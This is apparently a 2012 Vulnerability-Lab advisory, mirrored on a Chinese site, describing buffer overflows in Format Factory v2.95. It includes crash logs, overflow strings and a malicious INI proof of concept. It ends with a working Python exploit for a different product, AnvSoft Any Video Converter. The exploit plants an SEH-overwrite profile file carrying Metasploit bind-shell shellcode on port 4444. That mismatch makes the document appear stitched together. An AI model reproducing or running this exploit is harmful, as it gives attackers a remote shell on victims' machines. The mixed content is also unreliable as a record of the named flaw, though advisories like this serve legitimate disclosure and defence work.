Format Factory v2.95 - Buffer Overflow Vulnerabilities

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Format Factory v2.95 - Buffer Overflow Vulnerabilities

来源：www.vulnerability-lab.com 作者：cikumel 发布时间：2012-05-07

Title:
======
Format Factory v2.95 - Buffer Overflow Vulnerabilities

Introduction:
=============
Format Factory is a multifunctional media converter. Provides functions below ...

- All to MP4/3GP/MPG/AVI/WMV/FLV/SWF.
- All to MP3/WMA/AMR/OGG/AAC/WAV.
- All to JPG/BMP/PNG/TIF/ICO/GIF/TGA.
- Rip DVD to video file , Rip Music CD to audio file.
- MP4 files support iPod/iPhone/PSP/BlackBerry format.
- Supports RMVB,Watermark, AV Mux.

Format Factory`s Feature:

- support converting all popular video,audio,picture formats to others.
- Repair damaged video and audio file.
- Reducing Multimedia file size.
- Support iphone,ipod multimedia file formats.
- Picture converting supports Zoom,Rotate/Flip,tags.
- DVD Ripper.
- Supports 60 languages

- All Windows OS

(Copy of the Vendor Homepage: http://www.formatoz.com )

Affected Products:
==================
Free Time
Product: Format Factory v2.95

Details:
========
1.1
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software.
The vulnerability allows an local attacker to overwrite the ecx & eip to control the affected vulnerable process.
Successful exploitation can result is privilege escalation with system access rights of the affected vulnerable
software process. The vulnerability is located on the Custom Profile module when processing to add a file.

Vulnerable Module(s):
                [+] Custom Profile - File Add

--- Error Report (System) ---
Version=1
EventType=BEX
EventTime=129801306605752827
ReportType=2
Consent=1
ReportIdentifier=0140e860-918d-11e1-ba1b-a7b309768cde
IntegratorReportIdentifier=0140e85f-918d-11e1-ba1b-a7b309768cde
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=FormatFactory.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=2.95.0.0
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4f848c41
Sig[3].Name=Fehlermodulname
Sig[3].Value=StackHash_059a
Sig[4].Name=Fehlermodulversion
Sig[4].Value=0.0.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=00000000
Sig[6].Name=Ausnahmeoffset
Sig[6].Value=00410041                 <= ecx overwritten
Sig[7].Name=Ausnahmecode
Sig[7].Value=c0000005
Sig[8].Name=Ausnahmedaten

... &

EventType=APPCRASH
EventTime=129801310355837320
ReportType=2
Consent=1
ReportIdentifier=e0c79250-918d-11e1-ba1b-a7b309768cde
IntegratorReportIdentifier=e0c7924f-918d-11e1-ba1b-a7b309768cde
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=FormatFactory.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=2.95.0.0
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4f848c41
Sig[3].Name=Fehlermodulname
Sig[3].Value=FormatFactory.exe
Sig[4].Name=Fehlermodulversion
Sig[4].Value=2.95.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=4f848c41
Sig[6].Name=Ausnahmecode
Sig[6].Value=c0000005
Sig[7].Name=Ausnahmeoffset
Sig[7].Value=00008f53

1.2
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is
located when processing to load large file names. Successful exploitation results in a local null ptr buffer overflow.
Attackers can form or load files (local) large names or extension name to crash the software stable when processing to
save the input. The vulnerability did not allow to overwrite any registers of the affected vulnerable process.

--- Error Report (System) ---
Problem Event Name:     BEX
Application Name:       FormatFactory.exe
Application Version:        2.60.0.0
Application Timestamp:      4cd197df
Fault Module Name:      MSVCR100.dll
Fault Module Version:       10.0.30319.1
Fault Module Timestamp:     4ba1dbbe
Exception Offset:       0008ae6e
Exception Code:         c0000417
Exception Data:         00000000
OS Version:         6.1.7600.2.0.0.256.1
Locale ID:          1033
Additional Information 1:   e07f
Additional Information 2:   e07f7afc2abe4439f8a8f96d499e3027
Additional Information 3:   5154
Additional Information 4:   515482f92719c2dc6fc04ebc97d28463

1.3
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is
located in the *.ini configuration file when processing to load the maxwidth size. Local attackers can implement
or replace the ini settings to overwrite the EIP register. Successful exploitation can result is privilege escalation
with system access rights of the affected vulnerable software process.

Vulnerable Module(s):
                [+] INI - Width & Height - Size & Buffer Validation

--- Error Report (System) ---
EventType=BEX
EventTime=129801380523760695
ReportType=2
Consent=1
ReportIdentifier=371c0b8c-919e-11e1-ba1b-a7b309768cde
IntegratorReportIdentifier=371c0b8b-919e-11e1-ba1b-a7b309768cde
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=FormatFactory.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=2.95.0.0
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4f848c41
Sig[3].Name=Fehlermodulname
Sig[3].Value=StackHash_059a
Sig[4].Name=Fehlermodulversion
Sig[4].Value=0.0.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=00000000
Sig[6].Name=Ausnahmeoffset
Sig[6].Value=41414141               <= overwritten register EIP
Sig[7].Name=Ausnahmecode
Sig[7].Value=c0000005
Sig[8].Name=Ausnahmedaten
Sig[8].Value=00000008
DynamicSig[1].Name=Betriebsystemversion
DynamicSig[1].Value=6.1.7601.2.1.0.768.3
DynamicSig[2].Name=Gebietsschema-ID
DynamicSig[2].Value=1031
DynamicSig[22].Name=Zusatzinformation 1
DynamicSig[22].Value=059a
DynamicSig[23].Name=Zusatzinformation 2
DynamicSig[23].Value=059a393e1c4f8097b3d5573aa130c733
DynamicSig[24].Name=Zusatzinformation 3
DynamicSig[24].Value=563a
DynamicSig[25].Name=Zusatzinformation 4
DynamicSig[25].Value=563a7086139512fa1af4651c2e9f9f50

Proof of Concept:
=================
The stack & -buffer overflow vulnerabilities can be exploited by local attackers. For demonstration or reproduce ...

1.1
1024 bytes String via add custom name to reproduce the vulnerability.

--- Exception Logs (ECX Overwrite) ---
(109c.6a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001cb628 ebx=001cc340 ecx=00000041 edx=02dedfdc esi=fd3e3024 edi=00a522e0
eip=013b8f53 esp=001cb2e8 ebp=001cb2ec iopl=0         nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b             efl=00010206
*** ERROR: Module load completed but symbols could not be loaded for C://Program Files
(x86)/FreeTime/FormatFactory/FormatFactory.exe
FormatFactory+0x8f53:
013b8f53 66890c16        mov     word ptr [esi+edx],cx    ds:002b:001d1000=????

1.2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA.txt

1.3
../PoC.ini

Type=JPG
Icon=4
MaxWidth=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SizeLimit=0
Rotate=0
AddTagString=0
Angle=0.000
FontColor=0
TagString=
FontName=
Position=0
Margin=0
FontSize=0
FontItalic=0
FontUnderline=0

#!/usr/bin/python

import os,shutil,time,sys

def banner():
    print "\n\tAnvSoft Any Video Converter 4.3.6 Stack Overflow"
    print "\tbased on POC by Vulnerability-Lab (www.vulnerability-lab.com)"
    print "\tcikumel (@mhx_x) and y0k (@riy0_wid) from @spentera research\n"
    print "\t----------------------------------------------------\n"

junk = "\x90" * 328
nseh = "\xeb\x06\x90\x90"
seh = "\xe4\xf3\x04\x10"

# win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
# badchars = "\x00\x0a\x0d\x22\x26\x3e"
code = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x48"
"\x58\x30\x41\x30\x50\x42\x6b\x42\x41\x58\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x59\x79\x69\x6c\x30"
"\x6a\x78\x6b\x32\x6d\x78\x68\x4b\x49\x4b\x4f\x4b\x4f\x4b\x4f\x41"
"\x70\x6c\x4b\x30\x6c\x51\x34\x66\x44\x6e\x6b\x72\x65\x35\x6c\x6c"
"\x4b\x73\x4c\x67\x75\x30\x78\x67\x71\x68\x6f\x4c\x4b\x50\x4f\x47"
"\x68\x4e\x6b\x41\x4f\x67\x50\x55\x51\x7a\x4b\x42\x69\x6c\x4b\x74"
"\x74\x4c\x4b\x36\x61\x78\x6e\x74\x71\x4b\x70\x4f\x69\x6e\x4c\x4f"
"\x74\x4b\x70\x70\x74\x65\x57\x4a\x61\x6b\x7a\x56\x6d\x47\x71\x4b"
"\x72\x5a\x4b\x58\x74\x35\x6b\x72\x74\x75\x74\x34\x68\x30\x75\x4b"
"\x55\x4c\x4b\x43\x6f\x57\x54\x36\x61\x68\x6b\x72\x46\x4e\x6b\x56"
"\x6c\x30\x4b\x6e\x6b\x43\x6f\x65\x4c\x67\x71\x4a\x4b\x44\x43\x54"
"\x6c\x4c\x4b\x6f\x79\x70\x6c\x74\x64\x35\x4c\x70\x61\x39\x53\x57"
"\x41\x69\x4b\x50\x64\x6c\x4b\x47\x33\x70\x30\x6c\x4b\x57\x30\x76"
"\x6c\x6c\x4b\x72\x50\x45\x4c\x6e\x4d\x4c\x4b\x53\x70\x43\x38\x63"
"\x6e\x55\x38\x6c\x4e\x30\x4e\x54\x4e\x78\x6c\x42\x70\x69\x6f\x6e"
"\x36\x53\x56\x63\x63\x70\x66\x33\x58\x54\x73\x36\x52\x53\x58\x61"
"\x67\x34\x33\x57\x42\x41\x4f\x53\x64\x39\x6f\x5a\x70\x45\x38\x68"
"\x4b\x7a\x4d\x39\x6c\x57\x4b\x66\x30\x6b\x4f\x49\x46\x63\x6f\x4b"
"\x39\x79\x75\x65\x36\x4f\x71\x58\x6d\x47\x78\x63\x32\x70\x55\x73"
"\x5a\x37\x72\x4b\x4f\x68\x50\x70\x68\x4e\x39\x74\x49\x4c\x35\x4c"
"\x6d\x71\x47\x4b\x4f\x4a\x76\x32\x73\x63\x63\x50\x53\x50\x53\x31"
"\x43\x52\x63\x73\x63\x47\x33\x33\x63\x59\x6f\x4e\x30\x31\x76\x30"
"\x68\x77\x61\x51\x4c\x31\x76\x51\x43\x4d\x59\x6a\x41\x6f\x65\x45"
"\x38\x4f\x54\x66\x7a\x50\x70\x6a\x67\x66\x37\x79\x6f\x6e\x36\x61"
"\x7a\x64\x50\x33\x61\x42\x75\x69\x6f\x6a\x70\x33\x58\x4c\x64\x6e"
"\x4d\x56\x4e\x39\x79\x73\x67\x4b\x4f\x7a\x76\x72\x73\x70\x55\x59"
"\x6f\x58\x50\x61\x78\x6a\x45\x41\x59\x6d\x56\x42\x69\x66\x37\x4b"
"\x4f\x4e\x36\x46\x30\x76\x34\x31\x44\x50\x55\x69\x6f\x4e\x30\x6e"
"\x73\x75\x38\x6b\x57\x64\x39\x49\x56\x43\x49\x46\x37\x39\x6f\x4b"
"\x66\x66\x35\x39\x6f\x68\x50\x75\x36\x62\x4a\x43\x54\x72\x46\x65"
"\x38\x65\x33\x70\x6d\x4f\x79\x6b\x55\x32\x4a\x46\x30\x46\x39\x41"
"\x39\x38\x4c\x4d\x59\x4d\x37\x41\x7a\x52\x64\x4f\x79\x6b\x52\x70"
"\x31\x4b\x70\x4c\x33\x4f\x5a\x49\x6e\x77\x32\x76\x4d\x69\x6e\x31"
"\x52\x64\x6c\x4e\x73\x4e\x6d\x43\x4a\x34\x78\x6e\x4b\x6e\x4b\x6c"
"\x6b\x50\x68\x62\x52\x4b\x4e\x78\x33\x54\x56\x4b\x4f\x73\x45\x32"
"\x64\x39\x6f\x38\x56\x61\x4b\x32\x77\x43\x62\x70\x51\x73\x61\x71"
"\x41\x63\x5a\x44\x41\x31\x41\x43\x61\x63\x65\x56\x31\x6b\x4f\x4e"
"\x30\x53\x58\x4c\x6d\x5a\x79\x54\x45\x58\x4e\x33\x63\x4b\x4f\x6b"
"\x66\x50\x6a\x39\x6f\x4b\x4f\x70\x37\x4b\x4f\x38\x50\x4e\x6b\x62"
"\x77\x49\x6c\x4c\x43\x49\x54\x43\x54\x69\x6f\x5a\x76\x56\x32\x79"
"\x6f\x6e\x30\x50\x68\x53\x4e\x6a\x78\x7a\x42\x44\x33\x52\x73\x39"
"\x6f\x4e\x36\x79\x6f\x68\x50\x48")

sisa = "\x90" * (1000-len(code))

poc = "<root>\n"
poc+= "<categories>\n"
poc+= "<category name=\""+junk+nseh+seh+code+sisa+"\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc+= "</categories>\n"
poc+= "<groups></groups>\n<profiles></profiles>\n</root>\n"

file = "profiles_v2.xml"
splash=os.path.abspath(file)
profdir="C:\Program Files\AnvSoft\Any Video Converter Professional"

writeFile = open(file, "w")
if os.name == 'nt':
    if os.path.isdir(profdir):
        try:
            writeFile.write(poc)
            banner()
            print "[*] Creating the malicious",file
            time.sleep(1)
            print "[*] Malicious",file,"created.."
            writeFile.close()
            shutil.copy2(splash,profdir)
            print "[*] File",file,"has been copied to",profdir
            print "[*] Now open AnvSoft program and telnet to port 4444"
        except IOError:
            print "[-] Could not write to destination folder, check permission.."
            sys.exit()
    else:
        print "[-] Could not find installation directory, is AnvSoft Any Video Converter installed?"
        sys.exit()
else:
    print "[-] Please run this script on Windows."
    sys.exit()

[